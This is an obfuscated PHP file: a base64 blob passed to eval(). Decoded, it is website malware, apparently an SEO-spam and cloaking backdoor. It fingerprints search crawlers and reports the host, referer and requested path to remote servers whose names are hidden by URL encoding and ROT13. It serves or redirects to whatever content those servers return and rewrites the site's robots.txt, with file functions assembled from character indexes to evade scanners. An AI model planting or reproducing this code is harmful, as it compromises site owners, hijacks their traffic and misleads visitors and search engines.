<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMyUzMCUzNiUzOSUyRCU3OSU3NiU2MSU3OCUzMiUzMSUzMSUyRSU2NiU3OCU2QyU3NSU2MiU2MiU3OCU2NiUyRSU2NyU2MiU2MyIsCiAgICAiJTMzJTMwJTM2JTM5JTJEJTc5JTc2JTYxJTc4JTMyJTMxJTMxJTJFJTY5JTc2JTY5JTZDJTYxJTcyJTJFJTZCJTZDJTZEIiwKICAgICIlMzMlMzAlMzYlMzklMkQlNzklNzYlNjElNzglMzIlMzElMzElMkUlNzIlNzAlNjIlNjklNzYlNjYlNzYlNjIlNjYlMkUlNkIlNkMlNkQiLAogICAgIiUzMyUzMCUzNiUzOSUyRCU3OSU3NiU2MSU3OCUzMiUzMSUzMSUyRSU3NiU2MSU3MiU3MyU3MyU2RSU2RiU3OSU2QyUyRSU2QiU2QyU2RCIKXTsKJHN0cmluZyA9ICczMDY5LWxpbmsyMTEnOwoKJGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJyc7CiRyZWZlcmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6ICcnOwokaHR0cCA9IGlzX2h0dHBzKCkgPyAnaHR0cHMnIDogJ2h0dHAnOwokenogPSBkaXNib3QoKTsKJGR1cmkgPSBkcmVxdWVzdF91cmkoKSA/OiAnLyc7CgokbW9kZWxfZmlsZSA9ICdpbmRleC5waHAnOwokbW9kZWwgPSAnaW5kZXgnOwpwcmVnX21hdGNoKCcvXC8oW15cL10rXC5waHApLycsICRkdXJpLCAkbWF0Y2hlcyk7CmlmICghZW1wdHkoJG1hdGNoZXMpKSB7CiAgICAkbW9kZWxfZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgaWYgKCgkcG9zaXRpb24gPSBzdHJwb3MoJGR1cmksICRtb2RlbF9maWxlKSkgIT09IGZhbHNlKSB7CiAgICAgICAgJG1vZGVsX2ZpbGUgPSBsdHJpbShzdWJzdHIoJGR1cmksIDAsICRwb3NpdGlvbiArIHN0cmxlbigkbW9kZWxfZmlsZSkpLCAnLycpOwogICAgfQogICAgJG1vZGVsID0gc3RyX3JlcGxhY2UoJy5waHAnLCAnJywgJG1vZGVsX2ZpbGUpOwp9CiRtb2RlbCA9IHN0cmlzdHIoJGR1cmksICcvPycpID8gJz8nIDogJG1vZGVsOwoKJGlzdGVzdCA9IGZhbHNlOwppZiAoc3RycG9zKCRkdXJpLCAkc3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICR6eiA9IDE7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCRzdHJpbmcsICcnLCAkZHVyaSk7CiAgICAkaXN0ZXN0ID0gdHJ1ZTsKfQppZiAoJGR1cmkgIT0gJy8nKSB7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvJyAuICRtb2RlbF9maWxlLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnL2luZGV4LnBocCcsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCchJywgJycsICRkdXJpKTsKfQoKJHBhcmFtID0gaHR0cF9idWlsZF9xdWVyeShbCiAgICAnd2ViJyA9PiAkaG9zdCwKICAgICd6eicgPT4gJHp6LAogICAgJ3VyaScgPT4gdXJsZW5jb2RlKCRkdXJpKSwKICAgICd1cmxzaGFuZycgPT4gJHJlZmVyZXIsCiAgICAnaHR0cCcgPT4gJGh0dHAsCiAgICAnbW9kZWwnID0+ICRtb2RlbCwKICAgICd2ZXJzaW9uJyA9PiAkaXN0ZXN0ID8gJHN0cmluZyA6ICcnCl0pOwoKY3JlYXRlX3JvYm90cygkaHR0cCAuICc6Ly8nIC4gJGhvc3QpOwokaHRtbF9jb250ZW50ID0gcmVxdWVzdCgkeG1sbmFtZSwgJHBhcmFtKTsKCmlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykgPT09IGZhbHNlKSB7CiAgICAkcmVzcG9uc2VfaGFuZGxlcnMgPSBhcnJheSgKICAgICAgICAnb2todG1sJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICdva2h0bWwnLAogICAgICAgICAgICAndGVzdF9lY2hvJyA9PiB0cnVlLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnZ2V0Y29udGVudDUwMHBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicKICAgICAgICApLAogICAgICAgICc0MDRwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnCiAgICAgICAgKSwKICAgICAgICAnMzAxcGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknLAogICAgICAgICAgICAnY2FjaGVfY29udHJvbCcgPT4gJ25vLWNhY2hlLCBuby1zdG9yZSwgbXVzdC1yZXZhbGlkYXRlJywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICczMDFwYWdlJywKICAgICAgICAgICAgJ3JlZGlyZWN0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnb2t4bWwnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9dXRmLTgnLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29reG1sJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29rcm9ib3RzJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2tyb2JvdHMnLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKQogICAgKTsKCiAgICBmb3JlYWNoICgkcmVzcG9uc2VfaGFuZGxlcnMgYXMgJGtleSA9PiAkaGFuZGxlcikgewogICAgICAgIGlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJGtleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBoZWFkZXIoJGhhbmRsZXJbJ2hlYWRlciddKTsKCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsnY2FjaGVfY29udHJvbCddKSkgewogICAgICAgICAgICAgICAgQGhlYWRlcignQ2FjaGUtQ29udHJvbDogJyAuICRoYW5kbGVyWydjYWNoZV9jb250cm9sJ10pOwogICAgICAgICAgICAgICAgQGhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwogICAgICAgICAgICAgICAgQGhlYWRlcignRXhwaXJlczogMCcpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3JlcGxhY2UnXSkpIHsKICAgICAgICAgICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgkaGFuZGxlclsncmVwbGFjZSddLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsndGVzdF9lY2hvJ10pICYmICRpc3Rlc3QpIHsKICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWydyZWRpcmVjdCddKSkgewogICAgICAgICAgICAgICAgQGhlYWRlcignTG9jYXRpb246ICcgLiAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRoYW5kbGVyWydvdXRwdXQnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBkaXNib3QoKSB7CiAgICAkdXNlcl9hZ2VudCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgOiAnJzsKICAgICRib3RzID0gYXJyYXkoJ2dvb2dsZWJvdCcsICdiaW5nJywgJ3lhaG9vJywgJ2dvb2dsZScpOwoKICAgIGZvcmVhY2ggKCRib3RzIGFzICRib3QpIHsKICAgICAgICBpZiAoc3RycG9zKCR1c2VyX2FnZW50LCAkYm90KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIDI7Cn0KCmZ1bmN0aW9uIGRyZXF1ZXN0X3VyaSgpIHsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ2FyZ3YnXVswXTsKICAgIH0KCiAgICByZXR1cm4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107Cn0KCmZ1bmN0aW9uIGlzX2h0dHBzKCkgewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSkgewogICAgICAgICRodHRwcyA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pOwogICAgICAgIGlmICgkaHR0cHMgIT09ICdvZmYnICYmICRodHRwcyAhPT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSkgewogICAgICAgICRmcm9udF9lbmRfaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKTsKICAgICAgICBpZiAoJGZyb250X2VuZF9odHRwcyAhPT0gJ29mZicgJiYgJGZyb250X2VuZF9odHRwcyAhPT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3JlYXRlX3JvYm90cygkdXJsKSB7CiAgICAkZnVuY3Rpb25zID0gZnVuYygpOwogICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy9yb2JvdHMudHh0JzsKICAgICRjb250ZW50ID0gJ1VzZXItYWdlbnQ6IConIC4gUEhQX0VPTCAuICdBbGxvdzogLycgLiBQSFBfRU9MIC4gUEhQX0VPTCAuICdTaXRlbWFwOiAnIC4gJHVybCAuICcvc2l0ZW1hcC54bWwnIC4gUEhQX0VPTDsKCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkgewogICAgICAgICRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGV4aXN0aW5nX2NvbnRlbnQgPSAkZnVuY3Rpb25zWzFdKCRwYXRoKTsKICAgICAgICBpZiAoJGV4aXN0aW5nX2NvbnRlbnQgIT09ICRjb250ZW50KSB7CiAgICAgICAgICAgICRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHJlcXVlc3QoJHdlYnMsICRwYXJhbSkgewogICAgJGZ1bmN0aW9ucyA9IGZ1bmMoKTsKICAgIHNodWZmbGUoJHdlYnMpOwoKICAgIGZvcmVhY2ggKCR3ZWJzIGFzICRkb21haW4pIHsKICAgICAgICAkZG9tYWluX2RlY29kZWQgPSAkZnVuY3Rpb25zWzJdKHVybGRlY29kZSgkZG9tYWluKSk7CiAgICAgICAgJHVybCA9ICdodHRwOi8vJyAuICRkb21haW5fZGVjb2RlZCAuICcvc3VwZXI2LnBocD8nIC4gJHBhcmFtOwoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfZ2V0JykpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgkdXJsLCBhcnJheSgKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzMCwKICAgICAgICAgICAgICAgICd1c2VyLWFnZW50JyA9PiAnTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IFdvcmRQcmVzcyknCiAgICAgICAgICAgICkpOwoKICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CgogICAgICAgICAgICAgICAgJGJvZHkgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOwoKICAgICAgICAgICAgICAgIHJldHVybiAkYm9keTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKCiAgICAgICAgICAgIGlmICghY3VybF9lcnJubygkY2gpKSB7CiAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CgogICAgICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKICAgICAgICAgICAgICAgICdodHRwJyA9PiBhcnJheSgndGltZW91dCcgPT4gMzApCiAgICAgICAgICAgICkpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBAJGZ1bmN0aW9uc1sxXSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJ25vYm90dXNlcmFnZW50JzsKfQoKZnVuY3Rpb24gZnVuYygpIHsKICAgICRjaGFycyA9IHJhbmdlKCdhJywgJ3onKTsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAkY2hhcnNbNV0gLiAkY2hhcnNbOF0gLiAkY2hhcnNbMTFdIC4gJGNoYXJzWzRdIC4gJ18nIC4gJGNoYXJzWzE1XSAuICRjaGFyc1syMF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbNl0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1sxOF0gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE3XSAuICdfJyAuICRjaGFyc1sxN10gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzE5XSAuICcxMycKICAgICk7Cn0KCgo=');
eval($a);